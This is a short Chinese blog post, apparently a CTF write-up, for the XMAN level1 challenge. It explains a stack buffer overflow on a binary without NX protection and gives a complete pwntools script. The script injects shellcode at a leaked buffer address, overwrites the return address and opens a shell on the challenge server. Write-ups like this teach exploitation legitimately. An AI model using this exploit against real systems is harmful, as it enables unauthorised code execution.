美文网首页
XMAN-level1(shellcode)

XMAN-level1(shellcode)

作者: ch3ckr | 来源:发表于2017-12-23 19:52 被阅读42次

思路:这题考察shellcode,没有开启NX保护,栈上数据可以执行,并且直接给出buf的地址,我们可以把shellcoded放在buf起始位置,将返回地址覆盖为shellcode即可执行shellcode。

1.gdb-peda查看是否有保护机制,这里没有开启NX保护,可以通过执行shellcode来get shell。

2.使用IDA查看代码,有漏洞的函数如下图:

3.由程序代码知道泄露出buf的起始位置,那么我们可以在buf起始位置写入shellcode,然后将vulnerable_function函数的返回地址覆盖为buf的起始位置,就可以执行shellcode了。一图胜千言[来自网络]:

4.具体脚本如下:

# coding:utf-8
from pwn import *

context.log_level = 'debug'
shellcode = asm(shellcraft.i386.linux.sh())#生成响应环境的shellcode
sh = remote('pwn2.jarvisoj.com',9877)
# sh = process('./level1')
# elf = ELF('./level1')
line = sh.recvline()[14:-2]#获取buf地址
buf_addr = int(line,16)#将字符串地址转换成十进制
payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
sh.send(payload)
sh.interactive()
sh.close()

相关文章

网友评论

      本文标题:XMAN-level1(shellcode)

      本文链接:https://www.haomeiwen.com/subject/ojiqgxtx.html